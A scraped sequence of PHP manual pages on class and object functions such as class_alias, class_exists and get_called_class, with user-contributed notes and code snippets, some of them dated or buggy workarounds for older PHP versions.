Results in 'abcx'. You can use the function multiple times and also with class variables. Be carefull, even if $newobj is just a copy of $obj, $obj->value() will return 'abcx', too, because of the & operator: $newobj->$key = &$obj->$key;
zidsu at hotmail dot com 08-Jul-2003 05:24
FYI: if you want to split your class into manageble chunks, what means different files for you, you can put you functoins into includes, and make include() have a return value. Like this:

class Some_class {
  var $value = 3;
  function add_value ($input_param) {
    return include ("path/some_file.php");
  }
}

And your included file:

$input_param += $this->value;
return $input_param;

Then your function call will be:

$instance = new Some_class ();
$instance->add_value (3);

And this will return
6
hopefully :P

Keep in mind though, that the scope in the included file will be identical to the scope the function 'add_value' has.
And if you want to return the outcome, you should also have a return statement made in your include as well.
asommer*at*as-media.com 20-Sep-2002 02:52
Something I found out just now that comes in very handy for my current project:

it is possible to have a class override itself in any method ( including the constructor ) like this:

class a {

..function ha ( ) {
....if ( $some_expr ) {
......$this = new b;
......return $this->ha ( );
....}
....return $something;
..}

}

in this case assuming that class b is already defined and also has the method ha ( )

note that the code after the statement to override itself is still executed but now applies to the new class

i did not find any information about this behaviour anywhere, so i have no clue wether this is supposed to be like this and if it might change... but it opens a few possibilities in flexible scripting!!
einhverfr at not-this-host dot hotmail dot com 14-Sep-2002 12:35
You may find it helpful in complex projects to have namespaces for your classes, and arrange these in a hierarchical manner.   A simple way to do this is to use the filesystem to order your hierarchies and then define a function like this:

function use_namespace($namespace){

require_once("namespaces/$namespace.obj.php");

}

(lack of indentation due to HTML UI for this page)
This requires that all your object libraries end in .obj.php (which I use) but you can modfy it to suit your needs.  To call it you could, for exmaple call:

use_namespace("example");
or if foo is part of example you can call:
use_namespace("example/foo");
justin at quadmyre dot com 19-Aug-2002 09:38
If you want to be able to call an instance of a class from within another class, all you need to do is store a reference to the external class as a property of the local class (can use the constructor to pass this to the class), then call the external method like this:

$this->classref->memberfunction($vars);

or if the double '->' is too freaky for you, how about:

$ref=&$this->classref;
$ref->memberfunction($vars);

This is handy if you write something like a general SQL class that you want member functions in other classes to be able to use, but want to keep namespaces separate. Hope that helps someone.

Justin

Example:

<?php

class class1 {
    function test($var) {
        $result = $var + 2;
        return $result;
    }
}

class class2{
    var $ref_to_class=''; # to be pointer to other class

    function class1(&$ref){ #constructor
        $this->ref_to_class=$ref; #save ref to other class as property of this class
    }

    function test2($var){
        $val = $this->ref_to_class->test($var); #call other class using ref
        return $val;
    }
}

$obj1=new class1;
# obj1 is instantiated.
$obj2=new class2($obj1);
# pass ref to obj1 when instantiating obj2

$var=5;
$result=obj2->test2($var);
# call method in obj2, which calls method in obj1
echo ($result);

?>
gateschris at yahoo dot com 08-Mar-2001 01:59
[Editor's note: If you are trying to do overriding, then you can just interrogate (perhaps in the method itself) about what class (get_class()) the object belongs to, or if it is a subclass of a particular root class.

You can alway refer to the parent overriden method, see the "Classes and Objects" page of the manual and comments/editor's notes therein.]

There is no function to determine if a member belongs to a base class or current class eg:

<?php
class foo {
 function foo () { }
 function a () { }
}

class bar extends foo {
 function bar () { }
 function a () { }
}

lala = new Bar();
?>
------------------
how do we find programmatically if member a now belongs to class Bar or Foo.
Examples
__autoload
Classes/Objects


Attempt to load undefined class

Classes/Object Functions
call_user_method_array
Classes/Object Functions
PHP Manual

__autoload

(No version information available, might only be in SVN)

__autoload — Attempt to load undefined class

Description

void __autoload ( string $class )

You can define this function to enable classes autoloading.

Parameters

class

Name of the class to load

Return Values

No value is returned.

See Also

  • spl_autoload_register() - Register given function as __autoload() implementation

User Contributed Notes

There are no user contributed notes for this page.
Classes/Object Functions
call_user_method_array
Classes/Object Functions


Call a user method given with an array of parameters [deprecated]

__autoload
call_user_method
Classes/Object Functions
PHP Manual

call_user_method_array

(PHP 4 >= 4.0.5, PHP 5)

call_user_method_array — Call a user method given with an array of parameters [deprecated]

Description

mixed call_user_method_array ( string $method_name , object &$obj , array $params )
Warning

The call_user_method_array() function is deprecated as of PHP 4.1.0.

Parameters

method_name

The method name being called.

obj

The object that method_name is being called on.

params

An array of parameters.

Examples

Example #1 call_user_method_array() alternative

<?php
call_user_func_array(array($obj, $method_name), $params);
call_user_func_array(array(&$obj, $method_name), $params); // PHP 4
?>

See Also

  • call_user_func_array() - Call a callback with an array of parameters
  • call_user_func() - Call the callback given by the first parameter

User Contributed Notes

wloche at hotmail dot com 15-Jul-2010 01:33
You don't have to write a new function, <?php call_user_func_array(array($obj, $method_name), $params); ?> works pretty fine! (to my mind, 'eval' fucntion should be avoided almost all the time)
brudinie at googlemail dot com 25-Mar-2009 07:23
<?php

/**
 * @param string $func - method name
 * @param object $obj - object to call method on
 * @param boolean|array $params - array of parameters
 */
function call_object_method_array($func, $obj, $params=false){
    if (!method_exists($obj,$func)){
        // object doesn't have function, return null
        return (null);
    }
    // no params so just return function
    if (!$params){
        return ($obj->$func());
    }
    // build eval string to execute function with parameters
    $pstr='';
    $p=0;
    foreach ($params as $param){
        $pstr.=$p>0 ? ', ' : '';
        $pstr.='$params['.$p.']';
        $p++;
    }
    $evalstr='$retval=$obj->'.$func.'('.$pstr.');';
    $evalok=eval($evalstr);
    // if eval worked ok, return value returned by function
    if ($evalok){
        return ($retval);
    } else {
        return (null);
    }
    return (null);
}

?>
leonwinter at gmail dot com 02-Oct-2006 04:45
If you this function will be deleted in future php releases you can use this function:

<?
       function _call_user_method_array($name, $obj, $params) {
           // get params
           $txt = "";
           foreach($params as $nr => $el) {
               $txt.='$params['.$nr."], ";
           }
           $txt = substr($txt, 0, strlen($txt)-2);
           // run it
           return eval('return call_user_method($name, $obj, '.$txt.');');
       }
?>

Hope this helps somebody.
__autoload
call_user_method
Classes/Object Functions


Call a user method on an specific object [deprecated]

call_user_method_array
class_alias
Classes/Object Functions
PHP Manual

call_user_method

(PHP 4, PHP 5)

call_user_method — Call a user method on an specific object [deprecated]

Description

mixed call_user_method ( string $method_name , object &$obj [, mixed $parameter [, mixed $... ]] )
Warning

The call_user_method() function is deprecated as of PHP 4.1.0.

Parameters

method_name

The method name being called.

obj

The object that method_name is being called on.

parameter ...

The optional parameters.

Examples

Example #1 call_user_method() alternative

<?php
call_user_func(array($obj, $method_name), $parameter /* , ... */);
call_user_func(array(&$obj, $method_name), $parameter /* , ... */); // PHP 4
?>

See Also

  • call_user_func_array() - Call a callback with an array of parameters
  • call_user_func() - Call the callback given by the first parameter

User Contributed Notes

david dot jarchovsky at gmail dot com 17-Dec-2008 04:48
It's possible to use this function in case of calling static methods too.

<?php
class example {
    public static function b(){
        $self = self;
        call_user_method('c',$self);
    }

    public static function c(){
        echo "B\n";
    }
};

example::b();
?>
Chris 24-Jun-2008 07:26
From what i've observed, call_user_func() does everything this funciton does and a little more.  I made a pretty good example call_user_func()'s usage with object instances and figured it might be useful here:

<?php

    /**

        This is a demonstration of 2 neat features of PHP

        *    passing array arguments in as a big array, and using += to assign defaults to missing values
                This would allow for function calls that more closely mimick thoes made in javascript using JSON, with enough work, it could be almost identical using associative arrays
        *    function callbacks within a class to global instances of other classes
                This allows you pass a function callback to an object early on, and hold off its execution until later in the program (say during page outputing after everything has been setup)

    **/

    class Runner {

        public $id;

        public function __construct($id) {
            $this->id = $id;
            echo "constructing " . __CLASS__ . " with id of $id<br />\n";
        }

        public function run($distance = null, $measurement = 'km') {
            if ($distance) {
                echo 'I ran ' . $distance . ' ' . $measurement . '.';
            } else {
                echo 'I ran.';
            }
            echo "({$this->id})<br />\n";
        }
    }

    class Speaker {

        public $id;

        public function __construct($id = 0) {
            $this->id = $id;
            echo "constructing " . __CLASS__ . " with id of $id<br />\n";
        }

        public function speak($statement = 'hello world') {
            echo $statement . "({$this->id})<br />\n";
        }
    }

    class Test {
        protected $runCallback = null;
        protected $speakCallback = null;
        protected $statement;
        protected $distance;

        public function __construct(array $params = array()) {
            echo "constructing " . __CLASS__ . "<br />\n";
            $params += array('speakCallback' => array('Speaker', 'speak'), 'runCallback' => array('Runner', 'run'), 'statement' => 'Hello from ' . __CLASS__ . ' class!', 'distance' => 10);
            foreach($params as $k => $v) {
                $this->$k = $v;
            }
        }

        public function getInstance() {
            return new self(current(func_get_args()));
        }

        public function callRunner() {
            if (is_callable($this->runCallback))
                return call_user_func($this->runCallback, $this->distance);
            else
                throw new Exception("runCallback is not callable\n" . var_export($this->runCallback, true) . "\n");
        }
        public function callSpeaker() {
            if (is_callable($this->speakCallback))
                return call_user_func($this->speakCallback, $this->statement);
            else
                throw new Exception("speakCallback is not callable\n" . var_export($this->speakCallback, true) . "\n");
        }
    }

    $r = new Runner(1);
    $s = new Speaker(2);

    // Note that we're using $s instead of 'Speaker'
    call_user_func(array($s, 'speak'), 'Hello from global!');

    // try out from global with call_user_func_array() to pass args as an array
    call_user_func_array(array($r, 'run'), array(5, 'mi'));

    $Test = new Test(array('runCallback' => array($r, 'run'), 'speakCallback' => array($s, 'speak')));
    $Test->callRunner();
    $Test->callSpeaker();

    $Test = call_user_func(array('Test', 'getInstance'), array('runCallback' => array($r, 'run'), 'distance' => 15));
    // should work as expected
    $Test->callRunner();
    // should throw an error for trying to use this during a static call to Speaker::speak() because of the default
    $Test->callSpeaker();

?>

Hope that's helpful.
ravichandran_11 at yahoo dot co dot in 10-Mar-2008 04:32
<?php
class abc{
   function func($argument)  {
       $argument="It works";
   }
}
$obj=new abc;
$argument_to_be_changed="No it doesn't work";
call_user_method("func", $obj, &$argument_to_be_changed);
echo "Result : ".$argument_to_be_changed;
?>

This code is working. But will through some warning message which you can hide by configuring php.ini
j dot h at h-elektro dot de 05-Feb-2007 12:11
It does not work to use Pointers as Arguments:

<?php
class abc{
   function func(&$argument)  {
       $argument="It works";
   }
}

$obj=new abc;
$argument_to_be_changed="No it doesnt";
call_user_method("func", $obj, $argument_to_be_changed);

echo "Result".$argument_to_be_changed;
?>

The result is: "No it doesnt".

Regards
der Jan
paulo at emd dot com dot br 18-Sep-2000 05:12
This function is very similar to this:

<?php
$method="Print";
$object->$method($param1,$param2);
?>

Note the extra $ after the ->
jmcastagnetto at php dot net 21-Aug-2000 05:04
You can pass a variable number of parameters to a function, use a definition like:

function mymethod ($v1, $v2, $v3="", $v4="")

and then you can pass 2, 3 or 4 parameters. This is explained in the "Functions" section of the manual.

See also the PHP4 functions: func_num_args(), func_get_arg(), and func_get_args(), and examples therein
call_user_method_array
class_alias
Classes/Object Functions


Creates an alias for a class

call_user_method
class_exists
Classes/Object Functions
PHP Manual

class_alias

(PHP 5 >= 5.3.0)

class_alias — Creates an alias for a class

Description

bool class_alias ([ string $original [, string $alias ]] )

Creates an alias named alias based on the defined class original. The aliased class is exactly the same as the original class.

Parameters

original

The original class.

alias

The alias name for the class.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 class_alias() example

<?php

class foo { }

class_alias('foo', 'bar');

$a = new foo;
$b = new bar;

// the objects are the same
var_dump($a == $b, $a === $b);
var_dump($a instanceof $b);

// the classes are the same
var_dump($a instanceof foo);
var_dump($a instanceof bar);

var_dump($b instanceof foo);
var_dump($b instanceof bar);

?>

The above example will output:

bool(true)
bool(false)
bool(true)
bool(true)
bool(true)
bool(true)
bool(true)

See Also

  • get_parent_class() - Retrieves the parent class name for object or class
  • is_subclass_of() - Checks if the object has this class as one of its parents

User Contributed Notes

adam at adamhahn dot com 06-Sep-2011 12:13
Something to note,

If the $original class has not yet been defined or loaded, the auto loader will be invoked in order to try and load it.

If the class for which you are trying to create an alias does not exist, or can not be loaded with the auto loader, you will generate a PHP Warning.
programmer-comfreek at hotmail dot com 15-Aug-2011 09:38
If you defined the class 'original' in a namespace, you will have to specify the namespace(s), too:
<?php
namespace ns1\ns2\ns3;

class A {}

class_alias('ns1\ns2\ns3\A', 'B');
/* or if you want B to exist in ns1\ns2\ns3 */
class_alias('ns1\ns2\ns3\A', 'ns1\ns2\ns3\B');
?>
nicolas dot grekas+php at gmail dot com 31-Dec-2010 01:09
At first, you might wonder that:
<?php class A {}; class_alias('A', 'B'); ?>

is equivalent to:
<?php class A {}; class B extends A {}; ?>

BUT when derivation creates a new class name - that means, you can then instantiate a new kind of objects - aliasing is just what it says: a synonym, so objects instantiated with the aliased name are of the exact same kind of objects instantiated with the non-aliased name.

See this code for example:
<?php
class A {};
class B1 extends A {};
class_alias('A', 'B2');

$b1 = new B1; echo get_class($b1); // prints B1
$b2 = new B2; echo get_class($b2); // prints A !
?>
nicolas dot grekas+php at gmail dot com 30-Dec-2010 02:41
class_alias also works for interfaces!

<?php
interface foo {}
class_alias('foo', 'bar');
echo interface_exists('bar') ? 'yes!' : 'no'; // prints yes!
?>
paul [dot] kotets [at] gmail [dot] com 03-Sep-2009 03:43
This function will appear in PHP 5.3 (at least I can use it with PHP 5.3, build Aug 7 2009 08:21:14)
For older versions of PHP I wrote the next function:

<?php
if (!function_exists('class_alias')) {
    function class_alias($original, $alias) {
        eval('abstract class ' . $alias . ' extends ' . $original . ' {}');
    }
}
?>

Keyword 'abstract' is used for classes, which defines abstract methods.
This function is used in autoload purposes (when I extend classes), so abstract keyword doesn't broke anything for me.
call_user_method
class_exists
Classes/Object Functions


Checks if the class has been defined

class_alias
get_called_class
Classes/Object Functions
PHP Manual

class_exists

(PHP 4, PHP 5)

class_exists — Checks if the class has been defined

Description

bool class_exists ( string $class_name [, bool $autoload = true ] )

This function checks whether or not the given class has been defined.

Parameters

class_name

The class name. The name is matched in a case-insensitive manner.

autoload

Whether or not to call __autoload by default.

Return Values

Returns TRUE if class_name is a defined class, FALSE otherwise.

Changelog

Version | Description
5.0.2 | No longer returns TRUE for defined interfaces. Use interface_exists().
5.0.0 | The autoload parameter was added.

Examples

Example #1 class_exists() example

<?php
// Check that the class exists before trying to use it
if (class_exists('MyClass')) {
    $myclass = new MyClass();
}

?>

Example #2 autoload parameter example

<?php
function __autoload($class)
{
    include($class . '.php');

    // Check to see whether the include declared the class
    if (!class_exists($class, false)) {
        trigger_error("Unable to load class: $class", E_USER_WARNING);
    }
}

if (class_exists('MyClass')) {
    $myclass = new MyClass();
}

?>

See Also

  • function_exists() - Return TRUE if the given function has been defined
  • interface_exists() - Checks if the interface has been defined
  • get_declared_classes() - Returns an array with the name of the defined classes

User Contributed Notes

Anonymous 07-Mar-2011 10:21
It might not be obvious to some, but whenever you reference a namespace in a string, each backslash must be escaped with another backslash because of how PHP handles strings.

<?php
class_exists('\\Zend_Registry'); // return true
?>
myb at mikebevz dot com 23-Sep-2010 06:50
I've got a problem, which I can't solve.
Let's assume that class Zend_Registry exists in global namespace.

---
namespace myNs;

class SomeClass {
   public function MyFunc() {
      class_exists('Zend_Registry'); // return false
      class_exists('\Zend_Registry'); // return false
      class_exists('::Zend_Registry'); // return false
   }
}
---

How would I check for a class, which exists outside of myNs?
Klaus 28-Apr-2010 04:21
If you recursively load several classes inside an autoload function (or mix manual loading and autoloading), be aware that class_exists() (as well as get_declared_classes()) does not know about classes previously loaded during the *current* autoload invocation.

Apparently, the internal list of declared classes is only updated after the autoload function is completed.
azrael dot com at gmail dot com 11-Dec-2008 04:14
If spl_autoload_register() had been called, then function will try autoload class if it does not exists.

Use instead
<?php
in_array($class_name, get_declared_classes());
?>
Anonymous 29-Nov-2008 10:27
If you planned to use utf-8 in classes or variables names, remember that locale has to be properly set firstly, e.g.
<?php
locale (LC_ALL, 'ru_RU.UTF-8');
?>
or it turn into errors.
Radek @ cz 05-May-2008 06:43
If you want to combat many class includes effectively, define your own autoloader function and spl_autoload_register() that autoloader.
richard at richard-sumilang dot com 27-Mar-2008 12:56
[ >= PHP 5.3]

If you are checking if a class exists that is in a specific namespace then you have to pass in the full path to the class:

echo (class_exists("com::richardsumilang::common::MyClass")) ? "Yes" : "No";
Frayja 01-Jun-2006 01:42
Like someone else pointed out class_exists() is case-INsensitive.

Using in_array() which is case-sensitive, the following function is a case-sensitive version of class_exists().

<?php
function class_exists_sensitive( $classname )
{
   return ( class_exists( $classname ) && in_array( $classname, get_declared_classes() ) );
}
?>
06-Apr-2004 05:04
Just a note that at least PHP 4.3.1 seems to crash under some situations if you call class_exists($foo) where $foo is an array (that is, the calling code is incorrect but the error recovery is far from perfect).
anonymous at somewhere dot tld 17-Jul-2003 12:20
If you have a directory of classes you want to create. (Modules in my instance)... you can do it like that

<?php
if (is_dir($this->MODULE_PATH) && $dh = opendir($this->MODULE_PATH)) {
   while (($file = readdir($dh)) !== false) {
      if (preg_match("/(Mod[a-zA-Z0-9]+).php/", $file, $matches)>0) {
         // include and create the class
         require_once($this->MODULE_PATH."/".$file);
         $modules[] = new $matches[1]();
      }
   }
} else {
   exit;
}
?>

//---
Here the rule is that all modules are on the form
ModModulename.php and that the class has the same name as the file.
The $modules array has all the classes initialized after this code
class_alias
get_called_class
Classes/Object Functions


the "Late Static Binding" class name

class_exists
get_class_methods
Classes/Object Functions
PHP Manual

get_called_class

(PHP 5 >= 5.3.0)

get_called_class — the "Late Static Binding" class name

Description

string get_called_class ( void )

Gets the name of the class the static method is called in.

Return Values

Returns the class name. Returns FALSE if called from outside a class.

Examples

Example #1 Using get_called_class()

<?php

class foo {
    static public function test() {
        var_dump(get_called_class());
    }
}

class bar extends foo {
}

foo::test();
bar::test();

?>

The above example will output:

string(3) "foo"
string(3) "bar"

See Also

  • get_parent_class() - Retrieves the parent class name for object or class
  • get_class() - Returns the name of the class of an object
  • is_subclass_of() - Checks if the object has this class as one of its parents

User Contributed Notes

maxim at inbox dot ru 26-Dec-2011 07:54
get_called_class
i was need to get call function from __costruct and found that php 5.3 returns correct, but no one of there functins neither.
So i fix it:
<?php if (!function_exists('get_called_class')):

  function get_called_class()
  {
    $bt = debug_backtrace();
    $lines = file($bt[1]['file']);

    preg_match('/([a-zA-Z0-9\_]+)::'.$bt[1]['function'].'/',
               $lines[$bt[1]['line']-1],
               $matches);

if(empty($matches[1])){
    $pp= serialize( $bt[1]["object"]);
    $nx=strpos($pp,'"')+1;
    $nx=substr($pp,$nx,strpos($pp,'"'));
    if (!empty($nx))
    {
    echo   " RETURING....: (".  $nx  . ")<br>";
    return $nx;
    }
}
echo   " RETURING....: (" . $matches[1]  . ")<br>";
    return $matches[1];
}
endif;
?>
uebele 06-Apr-2011 09:14
SEE: http://php.net/manual/en/language.oop5.late-static-bindings.php

I think it is worth mentioning on this page, that many uses of the value returned by get_called_function() could be handled with the new use of the old keyword static, as in
<?php
static::$foo;
?>

versus
<?php
$that=get_called_class();
$that::$foo;
?>

I had been using $that:: as my conventional replacement for self:: until my googling landed me the url above.  I have replaced all uses of $that with static with success both as
<?php
static::$foo; //and...
new static();
?>

Since static:: is listed with the limitation: "Another difference is that static:: can only refer to static properties." one may still need to use a $that:: to call static functions; though I have not yet needed this semantic.
webmaster at easy-coding dot de 12-Mar-2010 08:03
if you cannot avoid that carriage return characters will be used as windows linebreaks, you should set

<?php ini_set("auto_detect_line_endings", 1); ?>

otherwise the solutions posted here will fail.
Abhi Beckert 28-Oct-2009 08:41
Beware that this does not behave as expected if your method is not declared as static! For example:

<?php

class foo {
  static public function test() {
    var_dump(get_called_class());
  }

  public function testTwo() {
    var_dump(get_called_class());
  }
}

class bar extends foo {
}

class abc {
  function test() {
    foo::test();
    bar::test();
  }

  function testTwo() {
    foo::testTwo();
    bar::testTwo();
  }
}

echo "basic\n";
foo::test();
bar::test();

echo "basic without static declaration\n";
foo::testTwo();
bar::testTwo();

echo "in a class\n";
$abc = new abc();
$abc->test();

echo "in a class without static declaration\n";
$abc->testTwo();

?>

The result is:

basic
string 'foo'
string 'bar'

basic without static declaration
string 'foo'
string 'bar'

in a class
string 'foo'
string 'bar'

in a class without static declaration
string 'abc'
string 'abc'
mucahitkahveci at yahoo dot com 03-Sep-2009 07:21
Addition to tom at r dot je:
It is fine but does not work for method calls like:

<?php
class Car
{
    static function getClass()
    {
        echo get_called_class();
    }
}
$method='getClass';
Car::$method(); //prints nothing
?>

So I developed to meet also this issue, and add one extra line not to cause notice errors:

<?php
if(!function_exists('get_called_class')) {
function get_called_class() {
    $matches=array();
    $bt = debug_backtrace();
    $l = 0;
    do {
        $l++;
        if(isset($bt[$l]['class']) AND !empty($bt[$l]['class'])) {
            return $bt[$l]['class'];
        }
        $lines = file($bt[$l]['file']);
        $callerLine = $lines[$bt[$l]['line']-1];
        preg_match('/([a-zA-Z0-9\_]+)::'.$bt[$l]['function'].'/',
                   $callerLine,
                   $matches);
        if (!isset($matches[1])) $matches[1]=NULL; //for notices
        if ($matches[1] == 'self') {
               $line = $bt[$l]['line']-1;
               while ($line > 0 && strpos($lines[$line], 'class') === false) {
                   $line--;
               }
               preg_match('/class[\s]+(.+?)[\s]+/si', $lines[$line], $matches);
       }
    }
    while ($matches[1] == 'parent'  && $matches[1]);
    return $matches[1];
}
}
?>
tom at r dot je 11-Aug-2009 09:18
I've further extended spidgorny at gmail dot com's 5.2 get_called_class() solution to also account for self:: calls. It works backwards up the file to find the class definition.

<?php
if(!function_exists('get_called_class')) {
function get_called_class() {
    $bt = debug_backtrace();
    $l = 0;
    do {
        $l++;
        $lines = file($bt[$l]['file']);
        $callerLine = $lines[$bt[$l]['line']-1];
        preg_match('/([a-zA-Z0-9\_]+)::'.$bt[$l]['function'].'/',
                   $callerLine,
                   $matches);

       if ($matches[1] == 'self') {
               $line = $bt[$l]['line']-1;
               while ($line > 0 && strpos($lines[$line], 'class') === false) {
                   $line--;
               }
               preg_match('/class[\s]+(.+?)[\s]+/si', $lines[$line], $matches);
       }
    }
    while ($matches[1] == 'parent'  && $matches[1]);
    return $matches[1];
  }
}

?>

Not pretty but works until servers can be upgraded.
php at itronic dot at 07-Aug-2009 06:53
If you call a static getInstance() function to create a instance of a class from another class, this function have to be static, if it is not static the original name of the caller class and not of the current class get returned.

example:

<?php

class a {
  function getXName() {
     return x::getClassName();
  }
  function getXStaticName() {
     return x::getStaticClassName();
  }

}

class b extends a {
}

class x {
  public function getClassName() {
    return get_called_class();
  }
  public static function getStaticClassName() {
    return get_called_class();
  }
}

$a = new a();

$b = new b();

echo $a->getXName(); // will return "a"
echo $b->getXName(); // will return "b"

echo $a->getXStaticName(); // will return "x"
echo $b->getXStaticName(); // will return "x"

?>
steve at visual77 dot com 29-Jul-2009 04:21
I've furthered enhanced the attempts to fix get_called_class() for PHP 5.2 Using a class and some static properties, we can keep track of how many times it has already processed the current line, so multiple calls on the same line will still function properly.

<?php

if(!function_exists('get_called_class')) {
    class class_tools {
        static $i = 0;
        static $fl = null;

        static function get_called() {
            $bt = debug_backtrace();

            if(self::$fl == $bt[2]['file'].$bt[2]['line']) {
                self::$i++;
            } else {
                self::$i = 0;
                self::$fl = $bt[2]['file'].$bt[2]['line'];
            }

            $lines = file($bt[2]['file']);

            preg_match_all('/([a-zA-Z0-9\_]+)::'.$bt[2]['function'].'/',
                $lines[$bt[2]['line']-1],
                $matches);

            return $matches[1][self::$i];
        }
    }

    function get_called_class() {
        return class_tools::get_called_class();
    }
}

?>
aashley at php dot net 26-Jul-2009 11:06
Small change to spidgorny at gmail dot com's example so that it works with static calls as well.

Change:
} while ($matches[1] == 'parent' && $matches[1]);

to:
} while( in_array($matches[1], array('parent', 'self')) && $matches[1]);
spidgorny at gmail dot com 14-Jul-2009 02:32
My modification to the get_called_class() simulation function, which takes care of the parent:: calls. It goes further into the backtrace to find the first non "parent" call. This way we pop-up to the original caller class. I'm not sure if this is the default behavior of the original PHP 5.3 function.
<?php
// http://us.php.net/manual/en/function.get-called-class.php#89478
if (!function_exists('get_called_class')):

  function get_called_class() {
    $bt = debug_backtrace();
    //debug($bt);
    $l = 0;
    do {
        $l++;
        $lines = file($bt[$l]['file']);
        $callerLine = $lines[$bt[$l]['line']-1];
        //debug($callerLine);
        preg_match('/([a-zA-Z0-9\_]+)::'.$bt[$l]['function'].'/',
                   $callerLine,
                   $matches);
    } while ($matches[1] == 'parent' && $matches[1]);
    return $matches[1];
  }

endif;
?>
progman at centrum dot sk 10-Mar-2009 12:49
Simplified version:

<?php if (!function_exists('get_called_class')):

  function get_called_class()
  {
    $bt = debug_backtrace();
    $lines = file($bt[1]['file']);
    preg_match('/([a-zA-Z0-9\_]+)::'.$bt[1]['function'].'/',
               $lines[$bt[1]['line']-1],
               $matches);
    return $matches[1];
  }

endif; ?>

When you use this function in singleton, mind there can by only one getInstance() call per line:

<?php

  abstract class Singleton  {  ... }
  class MySingleton1 extends Singleton { ... }
  class MySingleton2 extends Singleton  { ... }

  // this will work:
  $s1 = MySingleton1::getInstance();
  $s2 = MySingleton2::getInstance();

  // here will be problem:
  $s1 = MySingleton1::getInstance(); $s2 = MySingleton2::getInstance();

?>
a dot cudbard-bell at sussex dot ac dot uk 21-Feb-2009 10:03
Here's a simple way of getting the inheritance tree of a class, no matter which class the function was actually defined in. Will work as a static function method too.

<?php
class A {
    public function get_class_tree(){
        $cur_class = get_called_class();
        do {
            echo $cur_class;
        }
        while($cur_class = get_parent_class($cur_class));
    }
}

class B {

}

class C {

}

$foo = new C();
$foo->get_class_tree();

?>

CBA
danbettles at yahoo dot co dot uk 08-Oct-2008 12:00
It is possible to write a completely self-contained Singleton base class in PHP 5.3 using get_called_class.

<?php

abstract class Singleton {

    protected function __construct() {
    }

    final public static function getInstance() {
        static $aoInstance = array();

        $calledClassName = get_called_class();

        if (! isset ($aoInstance[$calledClassName])) {
            $aoInstance[$calledClassName] = new $calledClassName();
        }

        return $aoInstance[$calledClassName];
    }

    final private function __clone() {
    }
}

class DatabaseConnection extends Singleton {

    protected $connection;

    protected function __construct() {
        // @todo Connect to the database
    }

    public function __destruct() {
        // @todo Drop the connection to the database
    }
}

$oDbConn = new DatabaseConnection();  // Fatal error

$oDbConn = DatabaseConnection::getInstance();  // Returns single instance
?>

Full write-up in Oct 2008: http://danbettles.blogspot.com
class_exists
get_class_methods
Classes/Object Functions


Gets the class methods' names

get_called_class
get_class_vars
Classes/Object Functions
PHP Manual

get_class_methods

(PHP 4, PHP 5)

get_class_methods — Gets the class methods' names

Description

array get_class_methods ( mixed $class_name )

Gets the class methods names.

Parameters

class_name

The class name or an object instance

Return Values

Returns an array of method names defined for the class specified by class_name. In case of an error, it returns NULL.

Changelog

Version | Description
5.0.0 | As of PHP 5, this function returns the name of the methods as they were declared (case-sensitive). In PHP 4 they were lowercased.
4.0.6 | The ability of specifying the object itself has been added.

Examples

Example #1 get_class_methods() example

<?php

class myclass {
    // constructor
    function myclass()
    {
        return(true);
    }

    // method 1
    function myfunc1()
    {
        return(true);
    }

    // method 2
    function myfunc2()
    {
        return(true);
    }
}

$class_methods = get_class_methods('myclass');
// or
$class_methods = get_class_methods(new myclass());

foreach ($class_methods as $method_name) {
    echo "$method_name\n";
}

?>

The above example will output:

myclass
myfunc1
myfunc2

See Also

  • get_class() - Returns the name of the class of an object
  • get_class_vars() - Get the default properties of the class
  • get_object_vars() - Gets the properties of the given object

User Contributed Notes

mnkras at gmail dot com 15-May-2011 09:00
I use this function for an api, so it excludes some functions from the list.

<?php
    public function getApiList() {
        $cmethods = get_class_methods(__CLASS__);
        $exclude = array('generateAuth', 'authenticateRequest', 'getApiList');
        $methods = array();
        foreach($cmethods as $value){
            if(!in_array($value, $exclude)) {
                $methods[] = $value;
            }
        }
        return $methods;
    }
?>
fschmengler at sgh-it dot eu 08-Jan-2010 04:40
It should be noted that the returned methods are dependant on the current scope. See this example:

<?php
class C
{
    private function privateMethod()
    {

    }
    public function publicMethod()
    {

    }
    public function __construct()
    {
        echo '$this:';
        var_dump(get_class_methods($this));
        echo 'C (inside class):';
        var_dump(get_class_methods('C'));
    }
}
$c = new C;
echo '$c:';
var_dump(get_class_methods($c));
echo 'C (outside class):';
var_dump(get_class_methods('C'));
?>

Output:

$this:
array
  0 => string 'privateMethod' (length=13)
  1 => string 'publicMethod' (length=12)
  2 => string '__construct' (length=11)

C (inside class):
array
  0 => string 'privateMethod' (length=13)
  1 => string 'publicMethod' (length=12)
  2 => string '__construct' (length=11)

$c:
array
  0 => string 'publicMethod' (length=12)
  1 => string '__construct' (length=11)

C (outside class):
array
  0 => string 'publicMethod' (length=12)
  1 => string '__construct' (length=11)
James Laver 14-Dec-2007 07:39
I have a situation with a superclass using get_class_methods() on a child and it's returning protected methods of the parent.

I thought people should be aware of this since it's forcing me to go use the reflection system instead.
php at stock-consulting dot com 06-Feb-2007 02:40
Note that this function will answer both class AND instance methods ("class methods" are called "static" in PHP). Sort of a little "trap" for people who have in-depth experience with the OO terminology :-)
BoD 15-Mar-2006 07:09
!Concerning PHP5 Only!

If you want to get all methods/functions from a class you can do this with the get_class_methods function.
<?php
    $arrMethodNames = get_class_methods ( $ClassNameOrObject);
?>
However the drawback on this function in PHP5 is that you will NOT receive protected and private methods of a class/object if you are calling the method from another class/object context.

If you want to receive all methods of a given Class in another Class you should use the PHP5 Reflection API. The following source allows to retrieve all methods from a derived class in its (abstract) Base Class.

In the example you need to call the base constructor from the derived classes constructor in order to let the base class know the name of the derived class. Use the "__CLASS__" definition for passing the classname of current class to its base class.

<?php

    // Base Class - Abstract
    abstract class A {

        // Array of ReflectionMethod Objects
        // is being set upon instanciation
        // derived Classes don't need to know about this array
        private $arrMethods;

        // Constructor which MUST be called from derived Class Constructor
        protected function __construct ( $strDerivedClassName ) {
            $oRefl = new ReflectionClass ( $strDerivedClassName );
            if ( is_object($oRefl) ) {
                $this->arrMethods = $oRefl->getMethods();
            }
        }

        // Some abstract function
        abstract protected function D ();

        // Some private function
        private function E() {
        }

        // method to print all class/object methods
        // must be callable from derived classes
        // can be protected if only for internal class use
        public function PrintAllMethods () {
            foreach ( $this->arrMethods as $curReflectionMethod ) {
                echo $curReflectionMethod->getName()."<br>";
            }
        }
    }

    // Derived Class
    class B extends A {

        // Constructor for this class
        // MUST call Base Constructor
        public function __construct () {
            // Call Base Constructor
            parent::__construct(__CLASS__);
        }

        // Some public function
        public function A () {
        }

        // some protected function
        protected function B () {
